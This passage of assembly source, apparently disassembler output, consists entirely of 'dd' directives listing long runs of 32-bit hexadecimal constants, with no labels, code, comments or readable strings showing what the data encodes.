dd 3071600Ah, 0AFB90E1Ch, 2FFA53E4h, 0A2830700h, 0FD05883Ch
dd 60E96FD6h, 582150E8h, 0CB18CE71h, 944CAF03h, 0E1C97078h
dd 0C0E630BDh, 3A8E916Ah, 94D28C0Fh, 20901C28h, 0E800779Bh
dd 0C75C373Eh, 37A2F0Eh, 79410C43h, 5A188AD3h, 7C39E875h
dd 1A87F8Ch, 0D69F8E65h, 0D188BE9Dh, 222187BAh, 7FA0A894h
dd 3DDD97h, 2D032F71h, 0CC56D344h, 0A0403201h, 852ED0EAh
dd 1726BF70h, 0EBDE466Eh, 3F95400h, 12B990Eh, 0D5AE23B7h
dd 0DC6FED08h, 0FA764E26h, 5BF9AC00h, 0D6F64067h, 0F8140706h
dd 8024BEF3h, 0F9AD0EFBh, 187FEC00h, 0E0225898h, 8E4009CAh
dd 1680D2DEh, 7F50959Fh, 3000C3F8h, 64C45417h, 8D1D62h
dd 36693526h, 32297C3Dh, 97438C00h, 0FEC420BFh, 7E7A3C12h
dd 7B6F6980h, 686DF684h, 0F4C6913Fh, 0C7FF9400h, 97079E08h
dd 3AFEF82Eh, 0DE07697Bh, 809B0ECEh, 7D9E68C7h, 442008D8h
dd 0A85B04B1h, 3CDFA6h, 0CE4F1208h, 319F67E8h, 0B1E5B321h
dd 1F001196h, 0DAB6024Ah, 26CAC0D7h, 31E051C3h, 0C798E750h
dd 87FD2907h, 81209F6Ah, 0E6CBD46h, 0BEE812BAh, 33ABF361h
dd 84B88DB2h, 97D491D3h, 3AB930CCh, 42283110h, 6F567503h
dd 0CEAE4CBh, 8E8B3B59h, 1730CEE1h, 0F895199Ch, 3DD9DE45h
dd 0E37B21E2h, 70BE5E2Dh, 62A3E800h, 0F49B85ADh, 18B64534h
dd 3C691C3h, 4EC3E741h, 5EAD1427h, 0F1160C8Ch, 0D460D5A9h
dd 0EED37A29h, 926A3D32h, 60C4B100h, 328CDBFh, 0B338AF00h
dd 0A0184E08h, 6343B841h, 0ADECB985h, 0EA15A900h, 624651F8h
dd 9483024Ch, 0B01AF03Ah, 87F9DC80h, 0E4653E5Ah, 0E044FA10h
dd 0D450D579h, 8430ED22h, 8094A1F9h, 11330031h, 7F19973Dh
dd 0E8037BC8h, 9E527747h, 10F05374h, 4670FA12h, 99C3EC14h
dd 364AC400h, 0B2346B03h, 7640B7AEh, 2D01CAA5h, 0DF854683h
dd 5440E4D0h, 1F35E086h, 683C086Ah, 7774890Ch, 0E55660h
dd 1D611698h, 0D5ABB52Dh, 0F183CE2h, 8299143h, 0FD3D011Ch
dd 4F50285Eh, 0A4C2282h, 7CDA209Eh, 0DF527304h, 0CB210C1Fh
dd 0B060EC19h, 54597D49h, 9A85197Eh, 208828E9h, 6A48C390h
dd 73B89804h, 16623802h, 673AF452h, 95B81345h, 98C1382Bh
dd 0CF527931h, 22E4CE11h, 0DD311598h, 7F622C8h, 0C8D88283h
dd 0B597E0FBh, 81C0B8BCh, 5D78BA44h, 0B1C444CFh, 0E7E43A45h
dd 0AC9C00ABh, 7666F218h, 8009EA7Bh, 182D947h, 0B3436DACh
dd 9108544Ch, 7F888004h, 49503D93h, 0BD377A00h, 8A7DDEA3h
dd 9C2250D0h, 2E7088C4h, 0B148209Ah, 0B2D48428h, 0CB9300BFh
dd 61252CB8h, 0B4E1BE00h, 1EB6A95Ah, 0E3730609h, 49DC8F9Eh
dd 3CD0E706h, 9011CED5h, 804B00E6h, 4AC3D3A5h, 5F7FFDDEh
dd 695B591Dh, 7422A4EAh, 87E70EC8h, 0A0607018h, 11845C1Ch
dd 2892C37Bh, 0FB4F0F11h, 0FD60327Bh, 904CDEE9h, 0CBF69411h
dd 5AA66700h, 0EA2EF5B8h, 0C0CC7902h, 85D95765h, 8040A1D0h
dd 7E7156Bh, 0B69C30F9h, 5D1C0A89h, 0C817D24h, 0D5460F64h
dd 70F861C2h, 24A9CC00h, 0BBFF1718h, 0A4C450DFh, 424892D5h
dd 0B26F00DEh, 961BE5CBh, 0BC0E00DBh, 0EB183B0Dh, 0F34DAB8Fh
dd 514780D8h, 3ECEDD2Bh, 9E40E532h, 79D91637h, 805943C6h
dd 899B0F08h, 99884031h, 11D3DDF5h, 1C1B2200h, 0C99DB034h
dd 983860D1h, 0D9040A23h, 69365059h, 0CFD508D1h, 3C176180h
dd 0B5BC3E26h, 817431EDh, 389F7458h, 89940B11h, 20050F6h
dd 893C1E22h, 0F4982952h, 0CC9250A4h, 3AB1E711h, 1A4316h
dd 0E9DA023Ah, 8F00D7FDh, 0EC7191E1h, 1777DA3h, 1781688Dh
dd 93691E45h, 0E83008C1h, 8DB383h, 0CDE3D488h, 0B11636D9h
dd 0E261EF61h, 44E02D2Fh, 5D7300BCh, 0AD4CB69Eh, 0FB02A6E8h
dd 15FA20ECh, 0EA4A208h, 0C1F610EBh, 37D7D1C0h, 1FA2FCAh
dd 0AF2A3DA4h, 616726D9h, 0E49020DEh, 0F8861605h, 0A84A694Eh
dd 84127C1Fh, 0CD0A1C20h, 85C63E16h, 0A4BAB783h, 0FE939EB0h
dd 87516EF8h, 0F530C564h, 6B1F3240h, 0D902D267h, 9D8AE6E7h
dd 30A48917h, 0E9C614h, 1D451204h, 2D9AE80Ch, 72F663Dh
dd 0E78A8AAh, 0F035FA4h, 0A143CA4Bh, 72300090h, 0FA7804Ah
dd 62860035h, 0C4367C0Eh, 55166A7Eh, 0A0705231h, 34B49F1h
dd 0BC1A2333h, 21301C77h, 0D418B9F8h, 0F0A600BAh, 5BEB666Fh
dd 0BF047F33h, 6D235CE3h, 7D3B54D0h, 15C8779Eh, 0EC503EF8h
dd 44449C26h, 0A1F140E0h, 98FDCCh, 5337425Fh, 0C6BD3102h
dd 80E3C9C8h, 145CC0F5h, 0AE1D4AD3h, 6201E634h, 0C7D23CC2h
dd 1C1FF826h, 9C2E4F4Eh, 7C0B4348h, 31A49069h, 2CCF24CCh
dd 813740B0h, 0DDF80138h, 8C7D88h, 0D05B77CDh, 2A997A86h
dd 0A4C10769h, 0F057F14h, 806C8D48h, 0DE704440h, 0D0C0F6BAh
dd 25078431h, 0F042D685h, 0B2DC4ECAh, 8EC4ED58h, 0B71B8023h
dd 1B0BC81h, 0E798C44Fh, 508D9659h, 17B949A4h, 0DE1F1F70h
dd 706035EFh, 619A0018h, 215B1603h, 3A009B2Dh, 96D366EFh
dd 1676C1E3h, 30E6F0D5h, 820A7054h, 4F27020Eh, 0EB4823BDh
dd 0C3A91D2Eh, 0C6293218h, 0D8D2E846h, 88303800h, 0B109E5DAh
dd 58BC2C88h, 0BB01476Eh, 0F6CA43D7h, 3100B04Ah, 0FCA2360Fh
dd 64890869h, 56119D4h, 0DF440F71h, 9E225C22h, 52CB4202h
dd 40A7DB56h, 50997B5h, 0D66AB3FCh, 2CD4DCA2h, 8C980300h
dd 5913A4F9h, 0BDA70EC3h, 0D7211CB9h, 91B310F0h, 71D330h
dd 0EA395338h, 0B5F6BD81h, 5EF6200h, 0E1EE6518h, 6E69172Dh
dd 9BC7340h, 2C46E2F0h, 7973300h, 0A552C94Bh, 8E372EF6h
dd 29DC1118h, 3FD4ECh, 98D65886h, 208BE6h, 6FBE6D05h, 0C2346873h
dd 0EB70477Bh, 0EF22A8BAh, 0FC5D3AACh, 7EE38C00h, 6C1ECED8h
dd 22181B58h, 81340591h, 49797D33h, 0C0B088ACh, 27F9A816h
dd 0C68500DCh, 0B959811Bh, 0BD2D3896h, 8DA17001h, 48732ED2h
dd 22840BCCh, 1BF86540h, 9A19FF69h, 53A46030h, 81D83A07h
dd 0DB742C85h, 5BE4703Ch, 0F7077CC8h, 0ABC09D7h, 3DE69D40h
dd 0B78F3295h, 0A3125D69h, 78E16AA4h, 644B0F49h, 2178A4Fh
dd 5A5281E8h, 0E9014C51h, 512DA95Fh, 1C004822h, 2FDF796Ch
dd 8EFE62B8h, 900F8301h, 87C8515h, 0FB229067h, 0D4F2B302h
dd 0A482B7DDh, 4F321884h, 0A264E41Bh, 8F9F1C9Ch, 0A1952C40h
dd 19261EA8h, 6928D9C0h, 0E1B41097h, 4B1D01CAh, 0D534BA83h
dd 6A599D39h, 0DCE55422h, 3410880Ch, 0AB3CAD01h, 6021BEE1h
dd 3A565C70h, 238FB769h, 51A4A3D7h, 7C0088E0h, 7F80F0B3h
dd 8ED9BE48h, 36E224A1h, 7D9EC118h, 1CA7E2C4h, 0DC66C9FAh
dd 907EB51Eh, 9C08CFD3h, 179E86E2h, 0EC1839D0h, 1CC99639h
dd 0C0FD00C6h, 9A811D42h, 0A902C4BBh, 8D20D831h, 0DC4C69h
dd 0F2A80F6h, 280474C0h, 637CEF00h, 1D6210C3h, 0C0B154B2h
dd 88E444Ch, 92DE9520h, 9E53172Ch, 444C2375h, 4D1CBEA8h
dd 846CA14Ch, 0DE4FE61Fh, 0ABE025Fh, 40C4AE2Ah, 0F4CF6600h
dd 1C32D4E3h, 0FB1D02DAh, 0DF5B260Ch, 995884B8h, 0B3ABD509h
dd 86491C4h, 93888447h, 0E95C917Fh, 4CCC14E5h, 22BE02D2h
dd 0EF38DD3Bh, 10EBA872h, 3F7786h, 3AA36CA7h, 0C279D999h
dd 5E261C17h, 69A202AFh, 640FCEh, 3EF72209h, 46A06457h
dd 0DFA11279h
dd 500088h, 6D35812Eh, 0E6145492h, 58783C59h, 2738A038h
dd 1413009Bh, 80478D64h, 15F656E9h, 9E187A28h, 1EC3125h
dd 878B4464h, 26A93FF0h, 40B0F12Fh, 53457357h, 0BF589BFAh
dd 87007097h, 0A92630A8h, 0C560E09h, 0B1CEA82h, 0E452B1C1h
dd 0B6D60384h, 0F98ACC91h, 0B4497344h, 9814C6E1h, 0D4918484h
dd 0F44B0300h, 2D2569h, 4C2A9A02h, 0E5A46C96h, 3574189Ah
dd 0C07C160Bh, 0E7E83060h, 8B3B1379h, 0D5400983h, 0EB43068h
dd 6F9DC626h, 0E14E0500h, 0A318DBBh, 0B22E4D47h, 24340B2Ch
dd 2A8C7881h, 1CCEE28Dh, 0A0093100h, 18BED82Bh, 7801015Fh
dd 0CD9A93Eh, 11D188B4h, 80B4E1h, 92B6A074h, 6405B386h
dd 9E4DF46h, 7BEFE88Ch, 7CDD0790h, 62C35F1Ah, 2064B36Bh
dd 14B03101h, 36F42902h, 0B9241423h, 0ADAC4048h, 4900E815h
dd 31122275h, 991DC21Eh, 0A1B4A444h, 1D5CAC88h, 407EDD2Eh
dd 0A25CCFDEh, 0C459B9C9h, 89C58034h, 0FE2E7B39h, 8DD000A7h
dd 31D9B181h, 374BC117h, 2BACA032h, 1EC50057h, 3A89AA6Ah
dd 78245556h, 22443990h, 746E3A07h, 0B7737F79h, 7347B087h
dd 0BC512FBh, 0A1CC82Eh, 5F1389C0h, 5C82DBh, 74D551CEh
dd 6FE78F14h, 5C063726h, 0D7CA6E1h, 5A1C20h, 9BC10A44h
dd 11F4AB2Eh, 979260Eh, 0A959D8B9h, 670800F6h, 3BC373B2h
dd 690FABADh, 901FE5EAh, 9E64E704h, 21E8B253h, 0D13C0916h
dd 67C3BC18h, 5840964Fh, 3536045h, 0E24D01D0h, 63C3E7DDh
dd 468010FFh, 10C828F5h, 1DF484CCh, 2DC6789Eh, 0F04A983Ah
dd 4088F808h, 1FCE3B09h, 7014C801h, 0BE93A7BCh, 4A12E4h
dd 0DC2F8128h, 965D221Ah, 0F8EFA306h, 4460062Bh, 0B8B0E7CFh
dd 365C5209h, 318060DDh, 6D4C2880h, 54EC86C0h, 2DAC34h
dd 4DAA5DBh, 90977037h, 107AD800h, 948C09CDh, 0E6480D44h
dd 8831EACEh, 8AC58BD0h, 27746970h, 5AF56038h, 8A002871h
dd 47EB15D5h, 10CEC16h, 0F34C58DAh, 0D33FC130h, 0AC17B90Dh
dd 4033A981h, 0FF51A800h, 0A7C91ED3h, 0BFBDEA00h, 0F89890CCh
dd 10B52073h, 182DB0B4h, 22E698h, 0D0E59759h, 86A2B94Eh
dd 38809F1Eh, 24D19D92h, 8628A8Bh, 7CE92D11h, 8842F64Fh
dd 8082CFACh, 0F91990CBh, 10AE0D0h, 11E708F2h, 9509D1E0h
dd 0C0ACC1F9h, 0C315884Eh, 6F8B005Bh, 0B3F94655h, 7D02AA8Ch
dd 3E0758D9h, 8FA8A231h, 0D8032BC1h, 0D0A2E012h, 76E85863h
dd 0E61DCF77h, 333F2581h, 0A4B26908h, 20A9D207h, 4368E7ABh
dd 1A4F8303h, 2265C2CEh, 0C4056A29h, 0E4249DE9h, 0D32254A2h
dd 0EFA90A0Ch, 1DE9D6EBh, 80F86EA2h, 51468113h, 9F8E3AFh
dd 0B8AC40B9h, 0F9686811h, 3A9211A0h, 2C4A084h, 0D502CCAh
dd 0F8D2A8D9h, 335AE902h, 793C9D7Eh, 0A4CD00E4h, 5CE06938h
dd 0BD24B105h, 0AC63FDC1h, 0BA710F96h, 28403385h, 30B816FBh
dd 10B699CBh, 0CE6390h, 1E012D5Fh, 74CD54B8h, 4176BC00h
dd 36434B3Fh, 0C4114C14h, 0C914C62Eh, 1B853080h, 1464F257h
dd 7CB4ECF1h, 0E81D1F70h, 0B2904063h, 5BE03AD0h, 0F13E0B01h
dd 48C72037h, 77631834h, 254288E7h, 8183F091h, 87D63ECDh
dd 976BD50h, 982E8DBh, 3C02C161h, 40C6A409h, 784ED800h
dd 0FDF7796Eh, 0B18315D0h, 0D4C0EC16h, 9C989DD9h, 58804093h
dd 331B8B80h, 0E3030035h, 83129BACh, 405A09Fh, 5E71508Eh
dd 5B3ED4C8h, 7B48324Fh, 9B908C44h, 7E9E8CA8h, 99CB9899h
dd 4210C268h, 0D6011064h, 0DE7E28CFh, 0C69723h, 52011C08h
dd 0B3960F03h, 0F3A6E9E6h, 70711677h, 18103009h, 1900B476h
dd 3B04562Ch, 12221B88h, 16E5A1C6h, 1780CC94h, 867F8C0Bh
dd 9B589170h, 39E49010h, 2810EC18h, 3916DEF1h, 60D09EE1h
dd 0A63039E4h, 94D00AF4h, 44808F74h, 1B7C322Ch, 788265E4h
dd 0B82E29F5h, 3C48B9EBh, 0C6009B96h, 8422DBE2h, 0F37DB5h
dd 0D556ABAFh, 1E656A26h, 0BA40EC91h, 0DE5AA9h, 7EDC7CCDh
dd 0C9C48F2h, 77CC9752h, 1CE8908Ah, 2E1905D4h, 40E6830Ah
dd 42F8448Ch, 155C1EB1h, 2D0EC078h, 47834h, 87C0C3E6h
dd 0D230A279h, 0F8B5E82Eh, 1B61450h, 3D61CE8Fh, 9199DEC6h
dd 431FEC21h, 936D0E3Ch, 0BF10093h, 0AA6745EAh, 787D6A09h
dd 1F8C24A2h, 0D4208424h, 34F3ECh, 7E076C36h, 395E958Dh
dd 0F60BF3B2h, 0B89828D9h, 6F065721h, 5465733Bh, 0F06A2259h
dd 802DD52Dh, 3F132800h, 20781F94h, 0B862C049h, 3AFF111Dh
dd 0C072E409h, 230CC98h, 0E5032F5h, 60046EF6h, 5400E8A9h
dd 266F386Ah, 0F30B873Eh, 1AE5A8E1h, 0EC2883F0h, 0D17C38h
dd 61B3D60Ch, 0F18CCD9Ch, 1D4D239h, 0E42B86C9h, 9C7919C3h
dd 0FC1CCD14h, 0C2D03FA3h, 0D500F079h, 77954676h, 79B0737Ah
dd 1F409131h, 1EC417EFh, 1C642582h, 0E0484Ch, 0EBB0898Fh
dd 4B3EF409h, 9E2442F6h, 0B054C579h, 0C8C0ED64h, 4D51118Ch
dd 5A84F008h, 0C7A45496h, 0B531BC65h, 282885DDh, 351D0D22h
dd 8C0CF28h, 0AC973FC2h, 45DA00B3h, 60A73E5Dh, 2964F025h
dd 3BC41779h, 480FA042h, 96348497h, 0C2884040h, 9B17E5AFh
dd 3029B36Ah, 0DFF74801h, 2D5C41E4h, 0F420EC15h, 55A2BC03h
dd 0C3304B71h, 410F4058h, 5C964935h, 5A09BAC0h, 7B7B3D10h
dd 820F6175h, 0A2B441A5h, 5A1AC61Ch, 0C078226Ch, 1358314Ch
dd 4008DFB3h, 4E0F8B38h, 0D9009045h, 43949687h, 212F697h
dd 384F4217h, 76C1A13Eh, 15342891h, 1EA40E84h, 0F78E5B5Ah
dd 23DA0094h, 0AA8BF4h, 0F8D76241h, 0B00EBE5Eh, 69D09Ch
dd 0D8825DDAh, 2BB2001Ch, 0A6502381h, 56187B0Fh, 0DE682764h
dd 0CB1EFh, 5B2D9420h, 0F4008BF3h, 89E08AC3h, 153090Dh
dd 0DF78BD8Fh, 6C7BCB7Ah, 11EA89C0h, 9DE8DC3Ch, 22F022AFh
dd 585268A2h, 1214DE5Ch, 0BCD58941h, 6DE0C8h, 2671DD87h
dd 562338Ah, 0CE1C0D1Ch, 4C8207C2h, 0A6485C78h, 0D5441348h
dd 34540228h, 0F0E443CEh, 0A4EC1224h, 6CD46316h, 0FCB42885h
dd 283C4908h, 2D7CF7C0h, 5A17413Ah, 44206926h, 0BFC6A6h
dd 0EF70F120h, 5D0F3C8Dh, 1B701195h, 0A0D5240Ah, 0E84ED140h
dd 15650052h, 0B4B78861h, 0B89E209Eh, 0A563B853h, 6E2B2h
dd 7CF3859Dh, 31D6FD79h, 0B342D310h, 3203C622h, 78399755h
dd 9CC9FC1Fh, 14DE21D6h, 1DBC4802h, 117104B6h, 0B4984C19h
dd 416AD205h, 9C01CAB7h, 9159F888h, 0EF016708h, 57A6BB44h
dd 69BEC354h, 0E17D3100h, 0F9AE72D2h, 0DD64B0B4h, 0A10060F2h
dd 0E3239340h, 98A230AAh, 8007C84Ch, 5D4398C6h, 0B3347130h
dd 0D53001Fh, 5CD2899Ch, 9CAE9586h, 1CE09D00h, 4748E8A7h
dd 463400CBh, 18360875h, 0DE805067h, 0A9E86437h, 89E0A89Ch
dd 0BCD810D5h, 0E5D116D8h, 0CC104CDDh, 0A50E2E19h, 0DDEE7E40h
dd 71038549h, 460F894Ch, 0C15C2814h, 5679B288h, 8C187A08h
dd 7004F2B7h, 0CF5F4EA8h, 0BD00C8B2h, 0F7677D3Bh, 0BC99DE60h
dd 96684708h, 3A4092D5h, 0C611BC20h, 7470059h, 89AFBBF6h
dd 56164557h, 0B600218Bh, 2E1E86D1h, 0B4C092DAh, 8C891714h
dd 0E4B8D03Ch, 0DC475481h, 4439DD3Ah, 72FD8BAEh, 0B0C066C8h
dd 72E145F4h, 7CD004Ch, 39739070h, 0ECEF983Bh, 8161C037h
dd 1A6F33D2h, 0D7D52B18h, 0F7EE969h, 1F0D3152h, 0E7F28260h
dd 0EE0BD195h, 89165D3Dh, 12CCEE80h, 8EC68B9Eh, 3FC96038h
dd 911A3886h, 5E49048h
dd 0AC2BCEDEh, 0D444348Ch, 0D9B21420h, 79F0F827h, 71F8093h
dd 0C5373F31h, 86E6D09Eh, 0E549A177h, 0A40DC68h, 285BD421h
dd 0B5510701h, 9076736Ch, 722EAE17h, 5C60C74Bh, 238B633h
dd 9DC1BEAAh, 1029218Ch, 58278648h, 6712CCE2h, 0A04450A2h
dd 5D9A73C1h, 23BDF02Bh, 0F15E9700h, 52A6B571h, 442F5D55h
dd 73E66300h, 0C2117745h, 4F2C6459h, 25861030h, 0D1EF0746h
dd 0E10EFB4Bh, 6236AE14h, 0AC457B64h, 8710012Ah, 35F81912h
dd 9189454h, 0D8D0D7A0h, 0F2EC657Dh, 20D85E4Eh, 0C849AAB8h
dd 0A20741EEh, 31785762h, 14F4A045h, 8D362C1h, 0B065752Ch
dd 0C4EBD200h, 99E3E10h, 8D9C7112h, 0F48498E8h, 7BB488h
dd 57A1256Dh, 7A50BFDAh, 7E0390FCh, 410C2F94h, 7CB10DDCh
dd 0E2991138h, 1C0FF07Bh, 234F91E7h, 0D7E98878h, 393DC8F1h
dd 0E700E87Fh, 0A99B4680h, 4C97E420h, 47C5343Ch, 0D3B8C394h
dd 17F9491Eh, 2E777444h, 24C414C2h, 2C50DC7Fh, 7CE2070Dh
dd 242039CCh, 0C0008A98h, 52DC347Ah, 8B6C763Ch, 4C0812DEh
dd 53001CCh, 0FBB00941h, 7ECBD856h, 1C32495Eh, 5A3020E7h
dd 0B607CF5Ch, 7B98EFC9h, 293A982Dh, 186648h, 29D533D4h
dd 0DDA2B5h, 0D7BF9390h, 16401CCFh, 0C3A5050Bh, 34FC0144h
dd 173B8D7Fh, 0CC749CD8h, 18FA5088h, 60206F0Eh, 0FCA10601h
dd 0F5436D1h, 13C5759Eh, 0B8347498h, 942227F8h, 169C2CC9h
dd 0BC14B639h, 9D095438h, 70D2D374h, 58658F5Ah, 80A8D887h
dd 0E5CB2608h, 82E23BD0h, 0DC497203h, 0FFC579h, 33CD3141h
dd 0DA857B43h, 0D6FCE65Ch, 7A562440h, 0B9813340h, 0A118B07Ch
dd 9027D6Ch, 0EABD243Bh, 0A064B9h, 0C5C0AC7Fh, 8B827C2Ah
dd 0E0C43917h, 6CE5800Bh, 956E03E8h, 1EDA8E9Ch, 6C3E7EE8h
dd 10FF3727h, 48126B34h, 0A1A0A0EFh, 3F01B706h, 0FA9F2F29h
dd 406D5D2Eh, 6CD4284Eh, 0A3401D01h, 64387724h, 3134622Eh
dd 32402C74h, 0D74F30Ah, 529E6902h, 751FF029h, 5131110Bh
dd 1E5091E6h, 0CE0FB823h, 0D897E72Ch, 0A108F4D8h, 96E07E9h
dd 443A539Eh, 0ED400856h, 21886Bh, 0A72DE97Ch, 0BD82C05Ch
dd 0C89E9A00h, 4B5D3339h, 6884827Fh, 0A80B52CFh, 7A101A1Ch
dd 9D862FFCh, 0ED75CC90h, 2C4518Ah, 15D6A43Ah, 14AD3860h
dd 11141C7Ah, 791C7129h, 0AF605801h, 0DEE15155h, 41E2BF10h
dd 1AB94200h, 56486D9Eh, 9D930ECAh, 0A04A5A0Bh, 0DD634490h
dd 1DC80C48h, 4C318805h, 0CC83BF9h, 1FC388FAh, 4BA1CACh
dd 0F3ED7A00h, 0A2151ED5h, 12CBFC07h, 92DB6644h, 0EC594FACh
dd 0D2C29D40h, 0C66724D4h, 62444360h, 97EBFDA8h, 937C9E27h
dd 7F212694h, 0F19ECA8h, 6510416Bh, 0CE358034h, 0C853023h
dd 0D0296A00h, 786D4F84h, 0CABA0442h, 0BCECF4D9h, 0FB1EC940h
dd 40002604h, 6AAA311Ch, 0B09985B8h, 3B6C07B9h, 60919AF8h
dd 8C20289Dh, 82CB911h, 9CA89916h, 0F7BD461Ch, 0D0047CD3h
dd 0CE45C88Ah, 91D4A8E4h, 9408657Ch, 2AFB8482h, 1014252Ch
dd 20DCF44h, 0C47C8613h, 0C4C93467h, 64743F94h, 434CB418h
dd 3B8D0BC0h, 3C49928Bh, 0C2147DE5h, 0C4A084h, 56E13997h
dd 6AC2938h, 6448F4D6h, 1C0A0499h, 0D87DCF26h, 3253CEC4h
dd 94CD4B28h, 8838F820h, 1A0082CEh, 6ED1C699h, 0F868FA8h
dd 0B6BDF739h, 0EABB4480h, 0D73D6D61h, 5978D02Eh, 266A4200h
dd 0CBB65E16h, 0D6530145h, 37FDF460h, 90B8A7B2h, 4FD8ECh
dd 2C7EAE66h, 0AF15DCEEh, 4A7CE30Ch, 16CE91EFh, 0D1DF5973h
dd 428E4250h, 0C8D41270h, 68A58CA8h, 0AF597780h, 69D6C6BFh
dd 0C88431FAh, 0C8C4BCACh, 0FCE05D5h, 22FCE2F7h, 410300D7h
dd 5EC1754h, 81006142h, 0ADB63B30h, 270EF56Fh, 0ACA1D311h
dd 22EFDF88h, 660C000Ch, 3C284FC3h, 1E0F2543h, 7C007C45h
dd 5820A39Eh, 0C061001Ch, 1D1E81A2h, 382466D1h, 0E4657C18h
dd 0E01EC4A2h, 92C28023h, 0A39A6B81h, 0BFE7DF1Fh, 18E402CBh
dd 658CF4h, 0A7912662h, 0FCF4485Bh, 6840EF4Bh, 8FD51CE6h
dd 0A0E90443h, 279932CFh, 553DAB4h, 80DF89E8h, 0CA658A64h
dd 703CC124h, 0FF8E6C60h, 117200A1h, 0E4484EE1h, 0D605741Ch
dd 0CB169E6Ah, 0A89490ACh, 4C407EC8h, 275180E9h, 50646ADCh
dd 32C1BC00h, 38100993h, 482A0007h, 0DDCB11E9h, 161F896Ah
dd 0E7CBDE5Dh, 80B451D9h, 63307AE1h, 0B800FC77h, 0A3739274h
dd 11A2FA8Ch, 28A0847Bh, 4E00E014h, 10402722h, 58AFECB2h
dd 748504C8h, 0EF944929h, 93B444C8h, 807B133Bh, 0C2A99584h
dd 1A282B1h, 6066F91Ah, 2E179ED3h, 4094EC32h, 809F12A8h
dd 7E0A56D5h, 44E9EBCAh, 16884C26h, 4008AEF5h, 74309650h
dd 4941775h, 3047D80h, 96F75A31h, 0DBB28188h, 0C42B9D5Bh
dd 1325A716h, 7BD09008h, 0FA5E0077h, 0D140EC85h, 2FF89DB0h
dd 0B020D94Eh, 3DB7A2F6h, 0B800EB80h, 5DA0CFB3h, 3D0597E9h
dd 6038649Ch, 1999C8Ch, 2AB70CEAh, 0D2D52B6Bh, 8DDB94A0h
dd 5C00D786h, 1F6758ACh, 0E0B10ACAh, 0EC6C00DFh, 7710E606h
dd 7912206Ah, 64F2E49Bh, 6323B400h, 0B800CEBh, 4E1DDB71h
dd 0F040D406h, 0D66DAD81h, 0B1E80355h, 0D9A298B2h, 849A7FA0h
dd 6B2D1814h, 0B4D322BCh, 349440C0h, 0E2004DDDh, 0DC59FD9Dh
dd 703CB9Ah, 2CA5C024h, 0C45ED0BDh, 0D7000937h, 0DFA939CEh
dd 7B06DFDh, 7AF38BF2h, 620A4016h, 0DC0001D6h, 1ED9152Ch
dd 0C0ADD70Fh, 821BF931h, 4200DAE3h, 1C86D264h, 1E019B05h
dd 0A413E6h, 89DE0E8Eh, 0DF00B36Bh, 9F0B39B9h, 9CE230h
dd 2EBD31EBh, 0B037CFCEh, 0B22C5450h, 0F118F651h, 1906D353h
dd 0D5965417h, 2C080111h, 1CABE7CBh, 750BCC11h, 61704F00h
dd 0DFA8E9B8h, 38836090h, 158C66B9h, 6517D700h, 0C0C59E36h
dd 39350705h, 903CA703h, 54AC1F11h, 36CEA908h, 37A0864Ch
dd 31F87128h, 0EB197067h, 0E199E380h, 195C0113h, 90278797h
dd 0F321874Bh, 40C09801h, 52A76FC3h, 0BE2284A0h, 0EB764F1Ch
dd 1EA178C0h, 0F3C7ABDh, 5E2853D2h, 4394AC0h, 0A840EA90h
dd 44C20072h, 3C3EDA71h, 0AF0089B6h, 0FBC142EDh, 0C4CB0A1h
dd 2C35E069h, 1300D981h, 0E0B5F9Eh, 233F54h, 45BBE618h
dd 0B89C5C36h, 9929C10Eh, 0A99178A0h, 0A89130E4h, 152F0641h
dd 0BD02B3FEh, 66D903F8h, 0F490A21Eh, 7AC8A5B4h, 0F977E100h
dd 0FEA1CBh, 102166E0h, 61B02963h, 601DCA4h, 1D9FB4D9h
dd 0B2D4749Bh, 79AE61BEh, 8900CA2h, 84831FE3h, 75853A65h
dd 4730A0B4h, 68701150h, 31BE411Dh, 0B1F418B5h, 0E28069BFh
dd 0BA325181h, 167974A2h, 41CF9630h, 1FFF8608h, 40FB068Dh
dd 1A03A245h, 0E600190Fh, 8ADD7781h, 0E5F3F39h, 7B383C9h
dd 898412Ah, 20011BC0h, 0C5F409F3h, 6FA07180h, 0C2ED09Dh
dd 1E3A5200h, 2BB40288h, 392B8E4h, 0EDE3C0BAh, 0E1006F90h
dd 7E75C9E8h, 0E835F1Ah, 4B2E24D8h, 520E26E1h, 72D44834h
dd 0BAF993E5h, 0D700FE13h, 52692CE2h, 490801A7h, 9B7E95AEh
dd 7299F409h, 4231BD60h, 0AA101Eh, 0A964BC49h, 72F2285Eh
dd 35B11A00h, 70B30B1Dh, 3A5F01E8h, 0FCDEBECBh, 782290h
dd 523EA25h, 0E75D07Ah, 1BF17B98h, 0DF5AD4E2h, 0FCA4D442h
dd 0B3CC8270h, 66637C2Ah, 0F7D3D0C4h, 3EF300DDh, 4C5F68F4h
dd 2924BF83h, 0B28ACCB9h, 0A8205828h, 0B5B044h, 53CD4C12h
dd 6228CE51h, 8561D701h
dd 0FF0EDADDh, 0D5008823h, 3A41A0FEh, 5A00D7B7h, 4D627FD6h
dd 1942B39h, 9DA1D9FFh, 5280CC99h, 1F27B690h, 0FC9F34A1h
dd 0A2250C0h, 24E75489h, 44A284BCh, 2DFC8031h, 0FF80B86Eh
dd 1F0EE237h, 81EF3EF8h, 0CCBDB2DDh, 0A15087DEh, 0AD30A25Dh
dd 917935CEh, 448028C0h, 8A7836BFh, 9515F6Fh, 724071Dh
dd 7A0E46C1h, 0A4EEC4h, 0A070E3D7h, 0E83124F1h, 0E018CE51h
dd 0F03C966Bh, 0E0497422h, 73270068h, 0AC124D0Dh, 12A79FCh
dd 89C42F77h, 0C46891E6h, 91C454CBh, 0A48833A0h, 149030F8h
dd 0A29B2268h, 0BAB2FF0Ch, 50B021B1h, 6995C5Ch, 91FE84DAh
dd 3D004976h, 3179AFCFh, 0A64358h, 982ABDE1h, 56AE66D7h
dd 7D985FF0h, 51B57230h, 0EEE6A514h, 0FB950047h, 27DAE7D8h
dd 0FF010250h, 0E4374236h, 6FDCC98h, 20BED442h, 0DA935C0Bh
dd 1A33E80Eh, 6A04C7ECh, 80EBCFD3h, 0C7D67EA1h, 0C007DFD1h
dd 984E4097h, 21FFB303h, 0B8C182BAh, 7A490991h, 0FE833FE6h
dd 94CDAACh, 0B8019D77h, 27E22Fh, 4C3B2C8Eh, 282890B1h
dd 9A84488h, 4DF3A400h, 0D498C533h, 0A724042Fh, 0C2FBB399h
dd 9622C364h, 9CC90CEh, 70A400ECh, 233D595Dh, 0B601C594h
dd 8C5522CCh, 2C6098DFh, 3B748429h, 13764188h, 30823FE0h
dd 0DB21C7E4h, 1400FCA6h, 24738979h, 0ABD6C6h, 0A26B763Dh
